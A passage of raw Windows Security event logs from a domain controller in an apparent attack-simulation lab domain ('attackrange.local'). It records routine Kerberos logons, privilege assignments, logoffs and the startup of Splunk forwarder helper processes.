-OpCode=Info -RecordNumber=256748 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x453376 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49190 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:43:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256747 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x453376 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:44:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256751 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:44:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256750 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:44:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256752 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x938 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:44:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256753 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xde8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:44:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256754 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:44:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256755 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x884 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:44:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256756 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1154 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:44:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256759 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4569F3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:44:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256758 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4569F3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49204 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:44:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256757 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4569F3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:45:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256761 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1218 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:45:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256760 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1260 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:45:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256762 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1088 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:45:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256763 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x450 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:45:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256764 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:45:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256765 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xac8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:45:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256766 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:45:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256769 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x459F58 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:45:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256768 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x459F58 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49217 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:45:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256767 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x459F58 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:46:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256771 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account 